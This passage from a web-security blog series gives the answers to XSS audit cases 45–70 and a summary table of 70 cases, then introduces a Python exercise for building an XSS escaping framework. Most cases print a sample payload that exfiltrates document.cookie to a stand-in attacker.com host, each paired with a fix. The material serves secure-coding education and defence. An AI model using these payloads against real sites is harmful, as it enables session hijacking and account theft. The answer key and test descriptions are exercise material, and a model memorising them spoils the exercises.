        p.textContent = `${body}`;
        div.appendChild(strong);
        div.appendChild(p);
        document.getElementById("comments").appendChild(div);
    }
</script>

Case 45 — Answer

Reflected XSS. Wrong context escaping.
Sample payload:

/?user=") ; fetch('https://attacker.com/?q='+document.cookie);//

Fix:

<!-- dashboard.html -->
<script>
    initDashboard({{ username | tojson }}, {{ role | tojson }});
</script>

Case 46 — Answer

DOM XSS. Missing escaping.
Sample payload:

msg.author: ""
msg.text: "<img src=x onerror=\"fetch('https://attacker.com/?q='+document.cookie)\">"

Fix:

data.messages.forEach(msg => {
    const div = document.createElement("div");
    div.textContent = `${msg.author}: ${msg.text}`;
    chatWindow.appendChild(div);
});

Case 47 — Answer

Reflected XSS. Wrong context escaping.
Sample payload:

?q="); fetch('https://attacker.com/?q='+document.cookie); //

Fix:

return render(request, "search.html", {
    "query": query,
    "results": results,
})

<script>
    trackSearch("{{ query | escapejs }}");
</script>

Case 48 — Answer

Stored XSS. Missing escaping.
Sample payload:

POST /article
Content-Type: application/json

{
    "title": "</h2><h2>",
    "summary": "</p><p>",
    "author": "attacker</small><img src=x onerror=\"fetch('https://attacker.com/?q='+document.cookie)\"><small>"
}

Fix:

function loadArticle(title, summary, author) {
    const container = document.getElementById("article-view");
    const h2 = document.createElement('h2');
    const p = document.createElement('p');
    const small = document.createElement('small');
    h2.textContent = `${title}`;
    p.textContent = `${summary}`;
    small.textContent = `By ${author}`;
    container.appendChild(h2);
    container.appendChild(p);
    container.appendChild(small);
}

Case 49 — Answer

No vulnerability. Just display issues.
No relevant payload.
Fix:

messages = [row['message'] for row in rows]
conn.close()
return render(request, "notifications.html", {"messages": messages})

Case 50 — Answer

Reflected XSS. Missing Escaping.
Sample payload:

/?filter='); fetch('https://attacker.com/?q='+document.cookie)

Fix:

<button onclick="applyFilter({{ filter | tojson }})">Refresh Filter</button>

Case 51 — Answer

DOM XSS. Missing escaping.
Sample payload:

{
    "employees": [
        {
            "id": 1,
            "name": "</h3><img src=x onerror=\"fetch('https://attacker.com/?q='+document.cookie)\"><h3>",
            "role": "</p><img src=x onerror=\"fetch('https://attacker.com/?q='+document.cookie)\"><p>",
            "email": "attacker@attacker.com\" onclick=\"fetch('https://attacker.com/?q='+document.cookie)\""
        }
    ]
}

Fix:

data.employees.forEach(emp => {
    const card = document.createElement("div");
    card.setAttribute("data-id", emp.id);
    const name = document.createElement('h3');
    name.textContent = `${emp.name}`;
    const role = document.createElement('p');
    role.textContent = `${emp.role}`;
    const email = document.createElement('p');
    email.textContent = `Email: ${emp.email}`;
    card.appendChild(name);
    card.appendChild(role);
    card.appendChild(email);
    results.appendChild(card);
});

Case 52 — Answer

Stored XSS. Missing Escaping.
Sample payload for SQL entry row:

ticket-subject: <img src=x onerror="fetch('https://attacker.com/?q='+document.cookie)">
ticket-message: <img src=x onerror="fetch('https://attacker.com/?q='+document.cookie)">

Fix:

function showTicket(id, subject, message, status) {
    document.getElementById("ticket-id").textContent = id;
    document.getElementById("ticket-subject").textContent = subject;
    document.getElementById("ticket-message").textContent = message;
    document.getElementById("ticket-status").textContent = status;
}

Case 53 — Answer

There is no XSS bug here. Only display issues.
No relevant payload.
Fix:

@app.post("/ticket")
async def submit_ticket(request: Request):
    data = await request.json()
    name = data.get("name", "")
    issue = data.get("issue", "")
    conn = get_db()
    conn.execute(
        "INSERT INTO tickets (name, issue) VALUES (?, ?)",
        (name, issue)
    )
    conn.commit()
    conn.close()
    return {"status": "submitted"}

Case 54 — Answer

Stored XSS. Wrong context escaping. Stored XSS in Javascript string context inside onclick. There is also a Stored XSS in innerHTML DOM sink.
Payload for note.title via innerHTML sink:

note.title: </h2><img src=x onerror="fetch('https://attacker.com/?q='+document.cookie)"<h2>
note.body: </p><img src=x onerror="fetch('https://attacker.com/?q='+document.cookie)"<p>

Payload for note.title via onclick breakout:

note.title: '); fetch('https://attacker.com/?q='+document.cookie);//

Fix:

<!-- notes.html -->
<ul>
{% for note in notes %}
    <li onclick="showNote({{ note.title | tojson }}, {{ note.body | tojson }})">
        {{ note.title }}
    </li>
{% endfor %}
</ul>

<script>
    function showNote(title, body) {
        const notedisplay = document.getElementById("note-display");
        const t = document.createElement('h2');
        t.textContent = title;
        const b = document.createElement('p');
        b.textContent = body;
        notedisplay.appendChild(t);
        notedisplay.appendChild(b);
    }
</script>

Case 55 — Answer

Stored XSS. Missing escaping.
Sample payload:

POST /comment

author=</strong><script>fetch('https://attacker.com/?q='+document.cookie);</script><strong>&body=</p><script>fetch('https://attacker.com/?q='+document.cookie);</script><p>

Fix:

# app.py
from flask import Flask, request, render_template
from markupsafe import escape

app = Flask(__name__)

comments = []

@app.route("/comment", methods=["POST"])
def post_comment():
    author = request.form.get("author", "")
    body = request.form.get("body", "")
    comments.append({
        "author": escape(author),
        "body": escape(body),
    })
    return "Comment posted."

@app.route("/comments")
def view_comments():
    return render_template("comments.html", comments=comments)

Case 56 — Answer

Stored XSS. Missing escaping.
Sample payload:

post.body: </div><script>fetch('https://attacker.com/?q='+document.cookie);</script><div>

Fix:

<!-- posts.html -->
{% for post in posts %}
    <div class="post">
        <h2>{{ post.title }}</h2>
        <div class="body">{{ post.body }}</div>
    </div>
{% endfor %}

Case 57 — Answer

Stored XSS. Missing escaping.
Sample payload:

review.author: </strong><script>fetch('https://attacker.com/?q='+document.cookie);</script><strong>
review.body: </p><script>fetch('https://attacker.com/?q='+document.cookie);</script><p>

Fix:

# views.py
from django.shortcuts import render
from .models import Review

def review_list(request):
    reviews = Review.objects.all()
    processed = []
    for review in reviews:
        processed.append({
            "author": review.author,
            "stars": review.stars,
            "body": review.body,
        })
    return render(request, "reviews.html", {"reviews": processed})

Case 58 — Answer

Stored XSS. Missing escaping.
Sample payload:

item.title: </h2><script>fetch('https://attacker.com/?q='+document.cookie);</script><h2>
item.body: </p><script>fetch('https://attacker.com/?q='+document.cookie);</script><p>
item.author: attacker</small><script>fetch('https://attacker.com/?q='+document.cookie);</script><small>

Fix:

<!-- announcements.html -->
{% for item in items %}
    <div class="announcement">
        <h2>{{ item.title }}</h2>
        <p>{{ item.body }}</p>
        <small>Posted by: {{ item.author }}</small>
    </div>
{% endfor %}

Case 59 — Answer

Stored XSS. Wrong context escaping. Must do Javascript context escaping for the badge.
Sample payload:

badge: <script>fetch('https://attacker.com?q='+document.cookie);</script>

Fix:

# views.py
from django.shortcuts import render
from .models import Product

def product_detail(request, product_id):
    product = Product.objects.get(id=product_id)
    return render(request, "product.html", {
        "product": product
    })

<!-- product.html -->
<!DOCTYPE html>
<html>
<body>
    <h1>{{ product.name }}</h1>
    <p>{{ product.description }}</p>
    <div class="badge">{{ product.badge_html }}</div>
</body>
</html>

Case 60 — Answer

Stored XSS. Missing Escaping.
Sample payload:

comment.author: </strong><script>fetch('https://attacker.com/?q='+document.cookie);</script><strong>

Fix:

# views.py
from django.shortcuts import render
from .models import Comment

def comment_list(request):
    comments = Comment.objects.all()

    return render(request, "comments.html", {
        "comments": comments
    })

<!-- comments.html -->
<!DOCTYPE html>
<html>
<body>
    <h1>Comments</h1>
    {% for comment in comments %}
        <div class="comment"><strong>{{ comment.author }}</strong>{{ comment.body }}
    {% endfor %}
</body>
</html>

Case 61 — Answer

Stored XSS. Missing Escaping.
Sample payload:

</span><img src=x onerror="fetch('https://attacker.com/?q='+document.cookie)"><span>

Fix:

# models.py
from django.db import models

class UserProfile(models.Model):
    username = models.CharField(max_length=150)
    role     = models.CharField(max_length=50)

    def get_username_display(self):
        return self.username


# views.py
from django.utils.html import format_html
from django.shortcuts import render
from .models import UserProfile

def profile_page(request, user_id):
    profile = UserProfile.objects.get(id=user_id)
    badge = format_html(
        '<span class="badge role-{}">{}</span>',
        profile.role,
        profile.get_username_display(),
    )
    return render(request, 'profile.html', {'badge': badge})

{# profile.html #}
<div class="profile-header">
    {{ badge }}
</div>

Case 62 — Answer

Stored XSS. Wrong Context Escaping.
Sample payload:

</li><img src=x onerror="fetch('https://attacker.com/?q='+document.cookie)"><li>

Fix:

# views.py
from django.shortcuts import render
from .models import Notification

def notifications_page(request):
    notifications = Notification.objects.filter(
        user=request.user
    ).values_list('message', flat=True)

    safe_notifications = [msg for msg in notifications]

    return render(request, 'notifications.html', {
        'notifications': safe_notifications,
    })

{# notifications.html #}
<script>
    const notifications = [
        {% for msg in notifications %}
            "{{ msg | escapejs }}",
        {% endfor %}
    ];

    function renderNotifications() {
        const container = document.getElementById('notif-list');
        notifications.forEach(function(msg) {

            const li = document.createElement('li');

            li.textContent = msg;

            container.appendChild(li);

        });
    }

    renderNotifications();
</script>

<ul id="notif-list"></ul>

Case 63 — Answer

Stored XSS. Missing Escaping.
Sample payload:

<script>fetch('https://attacker.com/?q='+document.cookie);</script>

Fix:

# utils.py

# views.py
from flask import render_template, request
from .models import Comment

def comment_feed():
    comments = Comment.query.order_by(
        Comment.created_at.desc()
    ).limit(20).all()

    return render_template('feed.html', previews=comments)

{# feed.html #}
{% for preview in previews %}
    <div class="comment-card">
        <span class="author">{{ preview.author }}</span>: {{ preview.preview_text }}
    </div>
{% endfor %}

Case 64 — Answer

Stored XSS. Wrong Context Escaping.
Sample payload:

'\'); fetch('https://attacker.com/?q='+document.cookie) ; //

Fix:

# views.py
from django.shortcuts import render
from django.contrib.auth.decorators import login_required
from .models import BlogPost

@login_required
def post_detail(request, post_id):
    post = BlogPost.objects.get(id=post_id)
    return render(request, 'post_detail.html', {'post': post})

{# post_detail.html #}
<h1>{{ post.title }}</h1>

<div id="share-bar"></div>

<script>
    var postTitle = "{{ post.title | escapejs }}";
    var shareMsg  = "Check out: " + postTitle;

    function buildShareBar(msg) {
        const shareBar = document.getElementById('share-bar');

        const button = document.createElement('button');

        button.addEventListener('click', function() { sharePost(postTitle) } );

        button.textContent = "Share";

        shareBar.appendChild(button);
    }

    buildShareBar(shareMsg);
</script>

Case 65 — Answer

Stored XSS. Missing escaping.
Sample payloads:

product.name: </span><script>fetch('https://attacker.com/?q='+document.cookie);</script><span>

product.label: the"><script>fetch('https://attacker.com/?q='+document.cookie);</script><span>

Fix:

# views.py
from django.shortcuts import render
from .models import Product

def product_card(request, product_id):
    product = Product.objects.get(id=product_id)

    return render(request, 'product_card.html', {
        'product': product
    })

{# product_card.html #}
<div class="product-card">
    <span class="label label-{{ product.category }}">{{ product.name }}</span>
    <p>{{ product.description }}</p>
</div>

Case 66 — Answer

Stored XSS. Missing Escaping for the sponsor_html argument passed to format_html().
Sample payload:

sponsor_name: </p><script>fetch('https://attacker.com/?q='+document.cookie);</script><p>

Fix:

# views.py
from django.shortcuts import render
from .models import Event

def event_banner(request, event_id):
    event = Event.objects.get(id=event_id)

    return render(request, 'event.html', {
        'title': event.title,
        'sponsor': event.sponsor_name
    })

{# event.html #}
<section class="event-section">
    <div class="banner">
    <h2>{{ title }}</h2>
    <p>Sponsored by: {{ sponsor }}</p>
    </div>
</section>

Case 67 — Answer

Stored XSS. Wrong Context Escaping. Unnecessary enclosing of {{ author | tojson }} in double quotes since tojson does this automatically. Remember tojson is used for Javascript-context escaping in popular frameworks such as Flask and FastAPI. Even after removing the enclosed doubled quotes the innerHTML in the frontend template still leaves the code vulnerable to XSS. So the innerHTML has to be replaced with escaped HTML content.
Sample payload:

author: </strong><img src=x onerror="fetch('https://attacker.com/?q='+document.cookie);"><strong>

Fix:

# views.py
from flask import render_template
from .models import Review

def review_page(review_id):
    review = Review.query.get(review_id)
    return render_template('review.html',
        author=review.author,
        body=review.body,
    )

{# review.html #}
<div class="review">
    <p id="review-body"></p>
</div>

<script>
    var author = {{ author | tojson }};
    var body   = {{ body | tojson }};

    function renderReview() {

        var container = document.getElementById('review-body');

        const authorname = document.createElement('strong');

        authorname.textContent = author;

        const bodytext = document.createTextNode(`: ${body}`);

        container.appendChild(authorname);

        container.appendChild(bodytext);

    }

    renderReview();
</script>

Case 68 — Answer

Stored XSS. Missing escaping for bio_preview. The mark_safe() tells Django that bio_preview is safe for HTML execution provided the input is larger than 100 characters (Why would the developer do that?).
Sample payload:

bio_preview: </p><script>fetch('https://attacker.com/?q='+document.cookie);</script><p></p><script>fetch('https://attacker.com/?q='+document.cookie);</script><p>

Fix:

# views.py
from django.shortcuts import render
from .models import UserProfile

def profile_badge(request, user_id):

    profile = UserProfile.objects.get(id=user_id)

    return render(request, 'profile_badge.html', {
        'username': profile.username,
        'location': profile.location,
        'bio_preview': profile.bio,
    })

{# profile_badge.html #}
<div class="badge">
    <h3>{{ username }}</h3>
    <p><em>{{ location }}</em></p>
    <p>{{ bio_preview }}</p>
</div>

Case 69 — Answer

Stored XSS. Wrong Context Escaping in initialization of title. Also Missing Escaping for DOM sink in both renderHeader() and renderTags().
Sample payloads:

title: </h1><img src=x onerror="fetch('https://attacker.com/?q='+document.cookie)"><h1>
author: </p><img src=x onerror="fetch('https://attacker.com/?q='+document.cookie)"><p>
tag: </span><img src=x onerror="fetch('https://attacker.com/?q='+document.cookie)"><span>

Fix:

# main.py
from fastapi import FastAPI, Request
from fastapi.templating import Jinja2Templates
from .models import get_post_by_id

app = FastAPI()
templates = Jinja2Templates(directory="templates")

@app.get("/post/{post_id}")
async def post_detail(request: Request, post_id: int):
    post = get_post_by_id(post_id)
    return templates.TemplateResponse("post.html", {
        "request": request,
        "title":   post.title,
        "author":  post.author,
        "tags":    post.tags,
    })

{# post.html #}
<div id="post-header"></div>
<div id="tag-list"></div>

<script>
    var title  = {{ title | tojson }};
    var author = {{ author | tojson }};
    var tags   = {{ tags | tojson }};

    function renderHeader() {

        const postheader = document.getElementById('post-header');

        const titlehead = document.createElement('h1');

        titlehead.textContent = `${title}`;

        const authorp = document.createElement('p');

        authorp.textContent = `By: ${author}`;

        postheader.appendChild(titlehead);      

        postheader.appendChild(authorp);        

    }

    function renderTags() {

        const taglist = document.getElementById('tag-list');

        tags.forEach(function(tag) {

            const spantag = document.createElement('span');

            spantag.className = "tag";

            spantag.textContent = tag;

            taglist.appendChild(spantag);

        });

    }

    renderHeader();

    renderTags();
</script>

Case 70 — Answer

No XSS vulnerability. HTML escaping escape(body) at storage time causes double-escaping display issues in the HTML template and corrupts data delivered through the JSON API.
No relevant payload.
Fix:

# views.py
from django.shortcuts import render
from django.http import JsonResponse
from .models import Comment

def submit_comment(request):
    if request.method == 'POST':
        request_body = request.POST.get('body', '')
        Comment.objects.create(
            user=request.user,
            body=request_body,
        )
    return redirect('comment_list')


def comment_list(request):
    comments = Comment.query.order_by(
        Comment.created_at.desc()
    ).all()
    return render(request, 'comments.html', {
        'comments': comments,
    })


def comment_api(request):
    comments = Comment.objects.all().values('user__username', 'body')

    return JsonResponse({'comments': list(comments)})

{# comments.html #}
{% for comment in comments %}
    <div class="comment">
        <p>{{ comment.body }}</p>
    </div>
{% endfor %}

Summary Table: All 70 Cases

Case	Framework	XSS Type	Bug Type	Attack Context	Fix Applied
1	Django	Reflected	Missing (autoescaping bypassed by `\	safe`)	HTML body
2	Django	Reflected	Wrong context	JS string in `<script>`	`\
3	Django	Stored	Misplaced	HTML body	Store raw; remove {% raw %}`escape()` + `mark_safe()`
4	Flask	Reflected	Missing + SSTI	HTML body	Replace `render_template_string()` + `%s`
5	Flask	Reflected	Wrong context	`href` attribute	URL scheme validation
6	Flask	None	Display only	—	Remove `html.escape()` (double-escape)
7	FastAPI	Reflected	Missing	HTML body	Replace `HTMLResponse` f-string with `Jinja2Templates`
8	FastAPI + JS	DOM	Missing	`innerHTML` sink	Replace with `textContent`
9	FastAPI + React	DOM	Wrong context	`innerHTML` sink (React ref)	Remove server escape; `textContent`
10	Vanilla JS	DOM	Missing	`innerHTML` sink	Replace with `textContent`
11	React	DOM	Missing	`innerHTML` in custom hook	Replace with `textContent`
12	Vanilla JS	DOM	Wrong context	`innerHTML` sink	Remove `encodeURIComponent`; `createElement` + `textContent`
13	Django	Stored	Missing (`{% autoescape off %}`)	HTML body	Remove `{% autoescape off %}` block
14	Flask	Reflected	Missing (`Markup()`)	HTML body	Remove `Markup()`; store raw
15	FastAPI	Reflected	Missing	JS variable in `<script>`	`\
16	Django	Reflected	Wrong context	Unquoted HTML attribute	Add quotes around {% raw %}`{{ css_class }}`
17	Flask	Stored	Misplaced	HTML body	Store raw; remove `escape()` + `\
18	Vanilla JS	DOM	Missing	{% raw %}`innerHTML` sink (hash source)	`createElement` + `textContent`
19	React	DOM	Missing	`innerHTML` sink	Replace with `textContent`
20	Flask	Reflected	Wrong context	`href` attribute	URL scheme validation
21	Vanilla JS	DOM	Missing	`innerHTML` sink (postMessage source)	`createElement` + `textContent`
22	Django	Reflected	Missing	HTML body + `\	safe`
23	FastAPI	Stored	Misplaced	HTML body	Store raw; remove `escape()` + `\
24	Django	Reflected	Missing ({% raw %}`mark_safe()`)	HTML attribute	Remove `mark_safe()`
25	Vanilla JS	DOM	Missing	`innerHTML` sink	`createElement` + `textContent`
26	Flask	Reflected	Wrong context	JS string in `alert()`	Remove `escape()`; `\
27	Django	Reflected	Missing ({% raw %}`mark_safe()`)	HTML body	`format_html()` with `{}` args
28	FastAPI	Reflected	Misplaced (A) + Wrong context (B)	HTML body + unquoted attribute	Remove `escape()`; add quotes
29	Vanilla JS	DOM	Wrong context	`innerHTML` sink	Remove `encodeURIComponent`; `createElement` + `textContent`
30	React	DOM	Missing	`innerHTML` via ref callback	Replace with `textContent`
31	Django	Reflected	Wrong context (two layers)	JS string + `innerHTML` sink	`\
32	FastAPI	Reflected	Missing	HTML body + {% raw %}`href` attribute	Replace f-string with `Jinja2Templates`
33	Flask + JS	Stored	Misplaced	`innerHTML` sink	Store raw; `createElement` + `textContent`
34	Django	None	None	—	Code correct; template refactor optional
35	Vanilla JS	DOM	Missing	`insertAdjacentHTML` sink	`createElement` + `textContent`
36	React	DOM	Missing	`innerHTML` sink	Replace with `textContent`
37	Flask	Stored	Missing (`{% autoescape off %}`)	HTML body	Remove `{% autoescape off %}`
38	Django	Reflected	Wrong context	JS string + `innerHTML` sink	Remove `escape()`; `\
39	FastAPI	Stored	Misplaced	HTML body (f-string HTML)	Store raw; use {% raw %}`Jinja2Templates`
40	Flask	Stored	Wrong context	JS string in `<script>`	`\
41	Django	Stored	Missing ({% raw %}`\	safe`)	HTML body
42	Flask	None	Display only	—	Remove `escape()` at storage
43	Django	Stored	Missing (`\	safe`)	HTML body
44	FastAPI	Stored	Missing	`innerHTML` sink inside JS function	`createElement` + `textContent` in `renderComment()`
45	Flask	Reflected	Wrong context	JS string arguments	`\
46	Vanilla JS	DOM	Missing	{% raw %}`innerHTML` sink	Replace with `textContent`
47	Django	Reflected	Wrong context	JS string in `<script>`	Remove `escape()`; `\
48	FastAPI	Stored	Missing	{% raw %}`innerHTML` sink inside JS function	`createElement` + `textContent` in `loadArticle()`
49	Django	None	Display only	—	Remove `escape()`
50	Flask	Reflected	Missing	JS string in `onclick` attribute	`\
51	Vanilla JS	DOM	Missing	Template literal {% raw %}`innerHTML`	`createElement` + `textContent`
52	Flask	Stored	Missing	`innerHTML` sinks in JS function	Replace with `textContent`
53	FastAPI	None	Display only	—	Remove `escape()` + `str()`
54	FastAPI	Stored	Wrong context (A) + Missing (B)	JS string `onclick` + `innerHTML` sink	`\
55	Flask	Stored	Missing ({% raw %}`Markup()`)	HTML body	Remove `Markup()`; store raw
56	Flask	Stored	Missing (`\	safe`)	HTML body
57	Django	Stored	Missing (`mark_safe()`)	HTML body	Remove `mark_safe()`
58	Django	Stored	Missing (`{% autoescape off %}`)	HTML body	Remove `{% autoescape off %}` block
59	Django	Stored	Missing (`format_html()` no-arg misuse)	HTML body	Remove `format_html()`; use `{{ product.badge_html }}`
60	Django	Stored	Missing (`format_html()` + f-string)	HTML body	Remove f-string; pass both fields as `{}` args
61	Django	Stored	Missing (`mark_safe()` in model method)	HTML body	Return raw string from `get_username_display()`
62	Django	Stored	Wrong context	JS string + `innerHTML` sink	Remove `escape()`; `\
63	Flask	Stored	Missing ({% raw %}`Markup(x)` in utility function)	HTML body	Delete utility function; pass raw model objects; let Jinja2 autoescape
64	Django	Stored	Wrong context (two layers)	JS string + `innerHTML` + inline `onclick`	`\
65	Django	Stored	Missing ({% raw %}`format_html()` + f-string)	HTML body	Delete `format_html()`; pass raw object; move HTML to template
66	Django	Stored	Missing (`mark_safe()` arg to `format_html()`)	HTML body	Delete `format_html()` + `mark_safe()`; pass raw fields
67	Flask	Stored	Wrong context (double-quoted `tojson`) + Missing (`innerHTML`)	JS string + `innerHTML` sink	Remove outer quotes; `\
68	Django	Stored	Missing ({% raw %}`mark_safe()` on `bio_preview`)	HTML body	Delete `format_html()` + `mark_safe()`; pass raw fields; move `<em>` to template
69	FastAPI	Stored	Wrong context (double-quoted `tojson`) + Missing (`innerHTML` ×2)	JS string + two `innerHTML` sinks	Remove outer quotes; `createElement` + `textContent` in both render functions
70	Django	None	Display only (double-escape at storage + corrupted JSON API)	—	Remove `escape()`; store raw; let Django autoescape at render

This blog post is part of an ongoing series on web application security. The secure coding exercises and audit cases are contributed to the P2P open source project for curating high-quality secure code training datasets. References: OWASP XSS Prevention Cheat Sheet; Dennis Byrne, Full Stack Python Security (Manning, 2022); Jonathan Johansen et al., Secure by Design (Manning, 2019).

Before You Go — Two Quick Things

1. ⭐ Star the repo

All 70 of these cases, plus challenges covering SQL injection, authentication, API security, and more, live in SecEng-Exercises on GitHub. The project's goal is to build a high-quality, open dataset of secure coding exercises that can be used to train AI models to write less vulnerable code — addressing the core problem that today's models learned from billions of lines of public code, including a lot of vulnerable patterns. If you got anything out of this post, a star costs you one click and helps the project get discovered by other developers and security engineers who'd benefit from it.

2. 📊 Take the 30-second poll

I'm running a poll to understand what the security community thinks is the most dangerous XSS escaping mistake in production code today. Your answer will directly shape which vulnerability classes I prioritize in future challenge sets.

👉 Cast your vote here

Results will be shared in the next post in this series.

Week 8 Challenge: Build an Anti-XSS Escape Encoding Framework in Python

fosres — Wed, 04 Mar 2026 23:24:23 +0000

Security Challenge: Build an XSS Prevention Framework in Python

Time: 60–90 minutes

Difficulty: Intermediate

Skills: Web Application Security, Output Escaping, CSP, Open Redirect Prevention, Python OOP

The Hook: 22 Lines That Broke British Airways

In 2018, attackers injected 22 lines of JavaScript into British Airways' payment page. For 15 days, every customer who typed their credit card number had it silently copied and sent to an attacker-controlled server. Around 500,000 customers were affected. The UK ICO fined British Airways £20 million.

The root cause? Unsanitized content rendered in the wrong context — the textbook definition of XSS.

This challenge asks you to build the framework that prevents that.

⭐ If this challenge is useful to you, please star the repo on GitHub — it helps surface these exercises for other Security Engineers.

📊 Quick question: Why are you reading this post? (30-second poll — genuinely useful for knowing what to write next)

How Often Do Security Engineers Actually Deal With This?

It depends heavily on which type of Security Engineering role you're in.

Product Security Engineers at large tech companies — you'll audit output encoding regularly but implement it from scratch rarely. The workflow looks like this in practice:

Code review flags a place where user-controlled data is rendered without escaping, you file a bug, and the owning developer fixes it
You write a Semgrep rule that detects the pattern statically so it never reaches review in the first place
You update the secure coding guidelines or developer training to explain the correct escaping approach for each context
You evaluate whether a framework's auto-escaping is being bypassed — the Django |safe filter situation that Byrne calls out explicitly in Full Stack Python Security (pp. 219-221) is a real and common example of this

Modern web frameworks handle HTML body context automatically. What trips teams up in practice is the other four contexts: JavaScript, URL, attribute, and CSP. Those are where real vulnerabilities appear because developers know the framework covers HTML body output but forget that it doesn't cover everything else.

Security consulting and penetration testing roles — you encounter output encoding failures constantly, but from the attacker side. You're identifying missing or incorrect escaping in client codebases, writing proof-of-concept payloads, and documenting remediation paths. The polyglot and bypass test category in this exercise maps directly to that work.

The real day-to-day value of this exercise is that it forces you to understand why each context is different at the mechanism level — which is exactly what Security Engineers are asked in code review scenarios and system design interviews. A question like "how does Django's template engine protect against XSS and where does that protection break down?" is entirely answerable from working through this exercise. That's a far more common interview question than "implement escape_javascript from scratch."

So: audit output encoding — frequently. Implement it from scratch — rarely. But understanding how it works at this level is what separates engineers who understand security from engineers who have merely used security tools.

Why Input Sanitization Is the Wrong Answer

Before you write a single line of code, internalize this principle from Full Stack Python Security (Ch. 14, p. 218, Dennis Byrne, Manning 2021):

"Input sanitization is always a bad idea because it is too difficult to implement."

Here's why. A sanitizer has to identify malicious content across at least three interpreters simultaneously: JavaScript, HTML, and CSS. Miss one context and you're back to square one. Worse, sanitizers corrupt legitimate data — a forum where users can post code snippets would mangle every post.

The correct defense, as Byrne explains, is context-aware output escaping. A < character is only dangerous when rendered as HTML. Escape it at the output layer, in the correct context. Leave the input alone.

Secure by Design (Ch. 9, pp. 247-249, Johnsson, Deogun, Sawano, Manning 2019) adds another sharp insight: never echo input verbatim in error messages. Even a URL-encoded payload like %3Cscript%3Ealert(1)%3C%2Fscript%3E becomes executable XSS inside a browser-based log analysis tool that doesn't escape its output.

The Five Output Contexts

XSS is not one problem — it is five problems, one per output context. Each context requires a different escaping strategy:

Context	Example	Wrong escape	Right escape
HTML body	`<p>{{ user_bio }}</p>`	Strip `<>`	Replace `< > & " '` with entities
HTML attribute	`<input value="{{ name }}">`	HTML-escape only	Also escape `"` and `'`
JavaScript string	`var name = "{{ name }}";`	HTML-escape	Backslash-escape + Unicode for `< > &`
URL parameter	`href="/search?q={{ query }}"`	URL-encode only reserved chars	Percent-encode everything except RFC 3986 unreserved chars
CSP header	`Content-Security-Policy: ...`	N/A	Build correct directive syntax

Apply the HTML body escaper to a JavaScript string and you will break the page. Apply the JavaScript escaper to a URL and you will corrupt the link. Context mismatch is exactly how most real XSS vulnerabilities arise.

The Challenge

Implement the XSSPrevention class with six methods:

class XSSPrevention:

    def escape_html(self, text: str) -> str:
        """Escape for HTML body context."""
        pass

    def escape_attribute(self, text: str) -> str:
        """Escape for HTML attribute value context."""
        pass

    def escape_javascript(self, text: str) -> str:
        """Escape for JavaScript string literal context."""
        pass

    def escape_url(self, text: str) -> str:
        """Percent-encode for URL query parameter context."""
        pass

    def build_csp_header(self, directives: dict) -> str:
        """Build a Content-Security-Policy header value."""
        pass

    def is_safe_url(self, url: str, allowed_hosts: list) -> bool:
        """Return True only if the URL is safe for redirect."""
        pass

No imports from third-party libraries. No Django or Flask. Pure Python.

Why This Is Harder Than It Looks

Edge Case 1: Ampersand Must Be Escaped First

If you escape < before &, you get double-encoding bugs:

# WRONG order
"<b>Tom & Jerry</b>"
→ "&lt;b&gt;Tom &amp;lt; Jerry&lt;/b&gt;"  # &lt; doubled!

# CORRECT order: & first, then < >
"<b>Tom & Jerry</b>"
→ "&lt;b&gt;Tom &amp; Jerry&lt;/b&gt;"

Full Stack Python Security Table 14.1 (p. 219) lists the five characters and implies the correct replacement order.

Edge Case 2: JavaScript Context Needs Backslash First

In JS string escaping, if you escape quotes before backslashes, you corrupt existing escape sequences:

# Input: back\slash
# WRONG: escape " before \
"back\\slash" → "back\\slash"  # \ not escaped, \s survives as-is

# CORRECT: escape \ first, then quotes
"back\\slash" → "back\\\\slash"

Edge Case 3: `</script>` Inside a JS Block

Even inside a <script> tag, a </script> substring in a string literal will prematurely close the script block. The fix is to escape < and > to Unicode escapes (\u003C, \u003E) so the browser never sees the raw characters:

xss.escape_javascript("</script>")
# → "\\u003C/script\\u003E"

Edge Case 4: Valueless CSP Directives

Some CSP directives take no value — upgrade-insecure-requests is the most common. Your build_csp_header must output upgrade-insecure-requests (no trailing space) when the value is an empty string, not upgrade-insecure-requests (with a space).

Edge Case 5: Protocol-Relative URLs

An open redirect validator that only checks for http:// and https:// will miss //evil.com/path — a protocol-relative URL that the browser resolves using whatever scheme the current page uses. It must always return False.

xss.is_safe_url("//evil.com/path", ["example.com"])
# → False (protocol-relative, not a safe relative path)

The 100-Test Gauntlet

Your implementation faces 100 deterministic tests across ten categories — ten tests per category:

#	Category	What It Tests
1–10	HTML Body Escaping	The five dangerous HTML chars, img/svg payloads, combined cases
11–20	HTML Attribute Escaping	Quote breakout, event handler injection, edge chars
21–30	JavaScript String Escaping	Backslash order, newlines, `</script>` Unicode escape
31–40	URL Parameter Escaping	RFC 3986 unreserved chars, double-encoding, Unicode
41–50	Polyglot & Bypass Attempts	Gareth Heyes polyglot, null bytes, pre-encoded entities
51–60	CSP Header Building	Directive syntax, valueless directives, order preservation
61–70	Open Redirect Prevention	`javascript:`, `data:`, `vbscript:`, `//`, subdomain bypass
71–80	HTML Depth & Edge Cases	Double-encoding prevention, template literals, long strings
81–90	JS & URL Advanced Edge Cases	Tab preservation, at-sign encoding, multiple allowed hosts
91–100	Redirect Security Edge Cases	`javascript://` authority bypass, port-bearing URLs, scheme case-sensitivity

Sample Output

╔════════════════════════════════════════════════════════════════════╗
║        XSS PREVENTION FRAMEWORK — 100 COMPREHENSIVE TESTS         ║
╚════════════════════════════════════════════════════════════════════╝

HTML Body Escaping  (10/10)
  ✅ PASS  Test 01 [HTML] Classic <script> tag
  ✅ PASS  Test 02 [HTML] Ampersand escape (must come before < >)
  ...

JavaScript String Escaping  (7/10)
  ✅ PASS  Test 21 [JS] Single-quote breakout
  ✅ PASS  Test 22 [JS] Double-quote breakout
  ❌ FAIL  Test 23 [JS] Backslash must be escaped first
       Expected: 'back\\\\slash'
       Got:      'back\\slash'
  ...

══════════════════════════════════════════════════════════════════════
SCORE: 74/100  (74%)

Almost there! Review the failed categories above.
Hint: Ensure escaping is truly context-specific —
      HTML body ≠ attribute ≠ JS string ≠ URL parameter.

What Real-World XSS Prevention Looks Like

After you complete the exercise, compare your implementation to how production frameworks handle this:

Django auto-escapes HTML body context via its template engine — but it does not auto-escape JavaScript or URL contexts. You still need to use escapejs and urlencode template filters explicitly. (Full Stack Python Security, pp. 219-221)

OWASP ESAPI is the reference implementation of context-aware escaping for Java, and provides the mental model your implementation should follow for all six contexts.

